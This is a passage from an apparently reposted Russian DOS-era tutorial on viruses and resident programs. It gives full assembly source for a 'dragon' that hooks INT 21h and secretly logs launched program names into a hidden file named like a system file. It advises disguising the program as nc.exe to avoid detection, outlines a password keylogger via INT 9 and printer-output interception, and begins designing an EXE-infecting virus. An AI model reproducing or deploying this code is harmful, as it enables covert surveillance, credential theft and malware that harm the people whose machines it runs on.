"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса

Вид материалаДокументы

Содержание


"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.
Подобный материал:
1   ...   6   7   8   9   10   11   12   13   ...   16

"Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


Назад | Далее



Коментарий:

Блок-схема крайне проста. Чтобы сохранить секретность (если кто-то обна-

ружит файл данных), - мы шифруем имена запускаемых файлов. В нашем примере

для наглядности это делается архипримитивно: XOR data,DBh, Вы можете приду-

мать собственный алгоритм. После помещения зашифрованного имени в буфер мы

пытаемся открыть файл, в который сбрасываем разведданные. Делается это при

помощи еще доселе неизвестной нам функции 3Dh. Мы пользовались ранее функцией

3Ch - создание файла. Однако в данном случае она не годится, т.к. если попы-

таться открыть при помощи нее уже существующий файл, его содержимое будет

уничтожено.

Вот структура вызова функции 3Dh (по данным thelp):


----------T-------T-----------------------------------------

¦ Вход ¦ AH ¦ 3dH (Открыть описатель файла)

L---------¦ DS:DX ¦ адрес строки ASCIIZ с именем файла

¦ AL ¦ Режим открытия

----------+-------+-----------------------------------------

¦ Выход ¦ AX ¦ код ошибки если CF установлен

L---------¦ ¦ описатель файла если нет ошибки

L-------¦-----------------------------------------


Описание:

DS:DX указывает на строку ASCIIZ в формате: "d:\путь\имяфайла",0.

Если диск и/или путь опущены, они принимаются по умолчанию.


-> файл должен существовать. См. функцию 3cH (Создать Файл).


-> файл открывается в выбранном Режиме Доступа / Режиме Открытия

Для совместимости с DOS 2.x и избежания сетевых режимов, задавайте:

AL = 0 чтобы открыть для чтения

AL = 1 чтобы открыть для записи

AL = 2 чтобы открыть для чтения и записи


Если же в момент вызова этой функции файла данных не существовало, то на

выходе из прерывания будет установлен флаг CF (ошибка), а в AX будет код

ошибки (в данном случае = 3 -- файл не найден).

Наш резидент попытается открыть уже существующий файл данных функцией

3Dh в режиме чтение/запись и, если выяснится, что такого файла нет, -- соз-

даст его при помощи функции 3Ch.

А что делать, если файл уже существует и успешно открылся на чтение/за-

пись? Сразу же начать в него записывать? НЕТ! Сначала следует переместить

файловый указатель к концу файла, иначе -- мы затрем нашей записью более ран-

ние данные. Данные пишутся в файл в то место, на которое указивает файловый

указатель. После открытия файла он устанавливается на его начало. Файловый

указатель можно перемещать по файлу при помощи функции 42h прерывания 21h.

Вот она какая:


----------T-------T----------------------------------------------------

¦ Вход ¦ AH ¦ 42H (Установить указатель файла -- LSEEK)

L---------¦ BX ¦ описатель файла

¦ CX:DX ¦ на сколько передвинуть указатель: (CX * 65536) + DX

¦ AL ¦ 0 переместить к началу файла + CX:DX

¦ ¦ 1 переместить к текущей позиции + CX:DX

¦ ¦ 2 переместить к концу файла + CX:DX

----------+-------+----------------------------------------------------

¦ Выход ¦ AX ¦ код ошибки если CF установлен

L---------¦ DX:AX ¦ новая позиция указателя файла (если нет ошибки)

L-------¦----------------------------------------------------


Описание: Перемещает логический указатель чтения/записи к нужному адресу.

Очередная операция чтения или записи начнется с этого адреса.


Замечение: Вызов с AL=2, CX=0, DX=0 возвращает длину файла в DX:AX. DX здесь

старшее значащее слово: действительная длина (DX * 65536) + AX.


Ну вот в принципе и все. Ниже приводим саму программу:


-----------------------------------------------------------¬

¦ пример 16 ¦:

L-----------------------------------------------------------


TITLE Это - COM. программа 16 - "дракон", шпионящий за запуском программ

ASSUME CS:CodeSegment

;-------------------------------------------------------------------------

CodeSegment SEGMENT PARA

ORG(100h)

Start:

MainProcedure PROC NEAR

;

;

my_head: JMP initial ;переход на инициализир. часть

;

;

f_number: DW 0 ;для хранения описателя файла

f_name: DB 'C:\DOS\CHKSUM',0 ;имя файла для сброса разведданных

; ; (его можно зашифровать и расшифро-

; ; вывать лишь при посадке резидента)

;

; ;хранилище для адреса стандартного

saved_int21: DD 0 ; обработчика прерывания 21

; ; (2 слова)

;

int21_treater:CMP AH,4Bh

JE begin

JMP retro ;возврат управления JMP far если

begin: PUSH AX ; это не EXEC

PUSH BX

PUSH CX

PUSH DX

PUSH DS

PUSH ES

PUSH DI

PUSH SI

;-------------пересылка имени запускаемого файла в буфер------¬

MOV DI,DX ; ¦

MOV SI,OFFSET buffer - 100h ; ¦

resend_again: MOV AL,byte ptr DS:[DI] ; ¦

XOR AL,0DBh ;зашифровка имени ¦

MOV byte ptr CS:[SI],AL ;(суперпримитивно!)¦

INC DI ; ¦

INC SI ; ¦

CMP AL,0DBh ;контроль 0 - конца¦

JNE resend_again ; ASCIIZ строки, ¦

; ; (из-за XOR AL,DBh¦

XOR DI,DI ; 0 превращ. в DBh)¦

slash: DEC SI ; ¦

INC DI ; ¦

CMP byte ptr CS:[SI],87h ;поиск первого "\" ¦

JNE slash ; перед 0; (5Ch ¦

PUSH SI ;сохраним длину и координату ; из-за XOR прев- ¦

PUSH DI ; добытого имени в стеке ; ращ. в 87h) ¦

;--------------------------------------------------------------

;----------открыть файл для чтения/записи---------------------¬

PUSH CS ;DS:[DX] имя файла ¦

POP DS ; данных ¦

MOV DX,OFFSET f_name - 100h ; ¦

MOV CX,0 ;атрибут файла ¦

MOV AH,3Dh ;открыть в режиме ¦

MOV AL,2 ; пиши-читай ¦

CALL call_int21 ; ¦

MOV word ptr CS:[f_number-100h],AX ; ¦

; ; ¦

JNC file_exist ;контроль ошибок --¦

CMP AL,3 ; если файла не ¦

JA errors ; было,его создадут

;--------------------------------------------------------------

;-----------создать файл данных-------------------------------¬

MOV DX,OFFSET f_name - 100h ; ¦

MOV CX,0 ; ¦

MOV AH,3Ch ; ¦

CALL call_int21 ; ¦

MOV word ptr CS:[f_number-100h],AX ; ¦

;--------------------------------------------------------------

file_exist: ;------------установка LSEEK на конец файла данных------------¬

XOR CX,CX ; ¦

XOR DX,DX ; ¦

MOV BX,word ptr CS:[f_number-100h] ; ¦

MOV AL,2 ; ¦

MOV AH,42h ; ¦

CALL call_int21 ; ¦

;--------------------------------------------------------------

;------------запись данных -----------------------------------¬

MOV BX,word ptr CS:[f_number-100h] ; DS:[DX] буфер ¦

POP CX ;извлечем координату

POP DX ; и длину имени ¦

MOV AH,40h ; из стека ¦

CALL call_int21 ; ¦

;--------------------------------------------------------------

;---------закрыть файл----------------------------------------¬

MOV BX,word ptr CS:[f_number-100h] ; ¦

MOV AH,3Eh ; ¦

CALL call_int21 ; ¦

;--------------------------------------------------------------

errors: POP SI

POP DI

POP ES

POP DS

POP DX

POP CX

POP BX

POP AX

retro: JMP dword ptr CS:[saved_int21-100h]

;

;----вызов стандартного обработчика int 21h (процедура)-------¬

call_int21: PUSHF ¦

CALL dword ptr CS:[saved_int21-100h] ¦

RET ¦

;--------------------------------------------------------------

;

;

;

initial: ;--------------создаем TSR - копию----------------------------¬

MOV AX,DS:[02] ;берем вершину свободной памяти ¦

; ; (в параграфах) ¦

SUB AX,40h ;уменьшаем ее на 40h (в парагр.) ¦

; ; ¦

PUSH CS ; ¦

POP DS ; ¦

MOV SI,OFFSET my_head ;копируем из источника DS:head ¦

MOV ES,AX ;копируем в приемник ES:00; в ES ¦

XOR DI,DI ; - новая вершина своб. памяти ¦

MOV CX,my_end - my_head ; ¦

CLD ; ¦

REPE MOVSB ; ¦

; ; ¦

MOV BX,DS ; ¦

DEC BX ; ¦

MOV DS,BX ;уменьшаем размер МСВ-блока ¦

SUB word ptr DS:[03h],40h ;уменьшаем вершину свободной¦

SUB word ptr DS:[12h],40h ; памяти ¦

;--------------------------------------------------------------

;-------------перехват вектора 21h----------------------------¬

XOR BX,BX ; сохраняем старый ¦

MOV DS,BX ; вектор ¦

MOV AX,DS:[21h*4+0] ;48Bh ; ¦

MOV word ptr ES:[saved_int21-100h+0],AX ; ¦

MOV AX,DS:[21h*4+2] ;5BDh ; ¦

MOV word ptr ES:[saved_int21-100h+2],AX ; ¦

; ; ¦

CLI ; замен. в таблице ¦

MOV word ptr DS:[21h*4+0],OFFSET int21_treater - 100h ;->OFST¦

MOV word ptr DS:[21h*4+2],ES ;------>SEGMENT ¦

STI ; ¦

;--------------------------------------------------------------

;----------выход в DOS ---------------------------------------¬

to_dos: INT 20h ; ¦

;--------------------------------------------------------------

buffer DB 60h DUP(0)

my_end: ;

;

MainProcedure ENDP

;

CodeSegment ENDS

END Start


Чтобы Ваш шпионаж было не так легко разоблачить, Вы можете запускать

данного "дракона" не из autoexec-а. Вы можете дополнить процедуру посадки ре-

зидента блоком запуска основной оболочки (как правило - norton comander), пе-

реименованной из nc.exe в что-либо другое. Имя же вашего "дракона" пусть бу-

дет nc.exe ( СОМ-файл можно назвать расширением ЕХЕ-).

Еще о всяких разных "драконах". Несколько примеров (вернее сказать --

намеков) Вы можете найти в /9/. Например перехват вводимых с клавиатуры паро-

лей и конфиденциальных текстов, сохранение в специальных файлах копий тексто-

вого экрана и т.д. При "подсматривании" какого-либо пароля достаточно создать

резидент, перехватывающий прерывания 9 (ввод с клавиатуры) и 21h - функция

4Bh (EXEC). Резидент активируется как только будет запущена программа запроса

пароля (он узнает об этом либо по ее имени, передаваемом в EXEC, либо - ана-

лизируя ее код в соответствующем файле). Как только резидент узнал, что запу-

щена утилита, запрашивающая пароль, он начинает отслеживать коды нажимаемых

клавиш и сбрасывать их в специальный файл, который Вы потом найдете. Вы впол-

не уже можете написать такую программу; - если все вышесказанное было Вам по-

нятно, -- то это не составит большого труда.

Можно так же перехватывать в специальный скрытый файл информацию, выда-

ваемую на принтер.

Иногда при работе с нелицензионными копиями различных программ (бухгал-

терия и т.п.) возникает необходимость обрубить при печати документов выдачу

на принтер торговой марки прежнего владельца и заменить ее своей собственной.

В этом случае можно посадить резидент на прерывание BIOS 17h и анализировать

поток информации, поступающей на принтер на наличие определенной подстроки.


гл.10 СОЗДАНИЕ ВИРУСА, ИСПОЛНЯЮЩЕГО ФУНКЦИИ ЗАГРУЗЧИКА ЕХЕ-ФАЙЛОВ

(посвящается искуству создателя BootExe-451(452))

============================================================================

СРАЗУ ВОПРОС -- а стоит ли вообще возиться с ЕХЕ-файлами, изучать их

структуру и функционирование; -- пригодится ли это кому-либо для чего-либо в

повседневных делах? Думаем, что да. Может пригодиться. Иногда возникает нужда

в модификации уже имеющегося у Вас ЕХЕ-файла (перекомпилировать его нельзя,

т.к. у Вас нет исходника). Такая проблема возникает при вакцинации файлов,

дополнении их процедурами защиты от копирования и т.д.

Мы начали изучение вирусов с конструкций, прячущихся в заголовках

ЕХЕ-файлов. Руководствовались при этом принципом "от простого к сложному",

т.е. начали так, чтобы хоть как-то начать и не отпугнуть Вас лавиной новой

информации. В реальной жизни подобных вирусов не так уж много. В прежние вре-

мена было навалом ЕХЕ-файлов с практически пустым заголовком. Вирусы, подоб-

ные выше описанным, имели превосходную среду для распространения. А сейчас

таких файлов стало намного меньше. Причина тому - обработка ЕХЕ-файлов специ-

альными упаковщиками; а также -- наличие оптимизированных компиляторов Паска-

ля, Си++ и пр. Поэтому вирусы, заражающие ЕХЕ-файл путем записи в заголовок и

при этом не затирающие собою его данные, в настоящее время имеют не так много

шансов, как прежде. И, тем не менее, написание такого вируса может дать бога-

тую пищу для ума.

Последним мы рассмотрели вирус, который в момент посадки своей резиден-

тной копии был вынужден запустить зараженный файл как дочерний процесс. Весь-

ма много затрачено труда и места для процедуры выполняющейся лишь один раз

(EXEC - в момент посадки резидента). А может ли вирус запустить зараженный

ЕХЕ-файл не пользуясь EXEC? Да. Если возьмет на себя функции DOS-овского заг-

рузчика исполняемых файлов. Он в этом случае должен выполнить всю работу заг-

рузчика. Что это за работа? Вот она:


----->1. провести корректировку значений настраиваемых элементов (разъ-

¦ яснение см. ниже).

+---->2. инициализировать значения регистров SS и SP (загрузить в них

¦ адрес сегмента стека и его вершины). Адрес сегмента стека =

¦ = сегментный адрес загрузки ЕХЕ-файла в память (точка, кото-

¦ рой заканчивается PSP) + смещение сегмента стека относительно

¦ начала файла.

+---->3. совершенно аналогично инициализировать значения регистров CS

¦ и IP и тем самым передать управление по адресу первой испол-

¦ няемой команды в ЕХЕ-файле.

¦

¦ - данные для этих стадий ¬

¦ ¦(смещения сегментов в файле и ¦

¦ ¦адреса настраиваем. элементов)¦

L------------------+берутся из заголовка ЕХЕ-файла¦

L см его карту в гл. 5 (рис.7) -


Поскольку вирус заражая файл, превращает его из ЕХЕ- в СОМ-, нужно

добавить еще одну стадию (вообще-то она должна предшествовать пункту 3):


4. перемещение образа файла (кода файла, начинающегося сразу после

заголовка) к концу PSP на то место, где сразу после загрузки

файла с диска находился экс-заголовок ЕХЕ-файла с содержащимся

в нем кодом вируса (если бы файл был полноценным ЕХЕ-, то его

заголовок изначально не был бы загружен в память).


Если смысл пунктов 2,3,4 достаточно прозрачен, то пункт "корректировка

значений настраиваемых элементов" - это что-то новое. Зачем вообще это нужно?

Что такое настраиваемый элемент?

Дело в том, что ЕХЕ-файл состоит из нескольких сегментов. Различные объ-

екты, располагающиеся в каком-либо из сегментов (процедуры, массивы и т.д.)

могут адресоваться в зависимости от места загрузки ЕХЕ-файла в память. Ключ

каждой такой адресации и есть настраиваемый элемент. Наперед не может быть

известно, с какого адреса будет загружена та или иная программа, и поэтому

загрузчик должен в зависимости от каждого конкретного случая определенным об-

разом корректировать настраиваемые элементы. В зависимости от адреса загрузки

программы (адрес места, где кончается PSP).

Адреса настраиваемых элементов располагаются в специальной области заго-

ловка ЕХЕ-файла, называемой relocation table (таблица перемещения).

Каждый такой сегментно-оффсетный адрес (2 слова) указывает на ключ (на-

верное адрес) внутри ЕХЕ-файла, после считывания файла с диска нуждающийся в

корректировке. КОРРЕКТИРОВКА ЗАКЛЮЧАЕТСЯ В СЛОЖЕНИИ УПОМЯНУТОГО КЛЮЧА, НАХО-

ДЯЩЕГОСЯ ПО АДРЕСУ ИЗ RELOCATION TABLE С АДРЕСОМ ЗАГРУЗКИ ЕХЕ-ФАЙЛА В ПАМЯТЬ

(сегментным адресом места, где кончается PSP).

Вот и все функции загрузчика по обработке ЕХЕ-файла. Ни много, ни мало.

Сочиним же блок/схему вируса, берущего на себя сие тяжкое бремя:


-------------------------------------¬ --------------------¬

¦создание своей резидентной копии и ¦ ¦ Ну а процедура об-¦

¦передача управления на свое продол- ¦ ¦ работки прерывания¦

¦жение уже в этом резиденте ¦ ¦ 13h практически ¦

L----------------T-------------------- ¦ такая же, как и в¦

-----------------+-------------------¬ ¦ предыдущем примере¦

¦корректировка настраиваемых элементов ¦ ¦

L----------------T-------------------- ¦ ¦

-----------------+-------------------¬ ¦ . . . . ¦

¦ настройка SS и SP ¦ ¦ ¦

L----------------T-------------------- ¦ ¦

-----------------+-------------------¬ ¦ ¦

¦ смещение образа ЕХЕ-файла на место ¦ ¦ ¦

¦ начала его экс-заголовка ¦ ¦ ¦

L----------------T-------------------- ¦ ¦

-----------------+-------------------¬ ¦ ¦

¦ настройка CS и IP, т.е. передача уп- ¦ ¦

¦ равления в ЕХЕ-файл ¦ ¦ ¦

L------------------------------------- L--------------------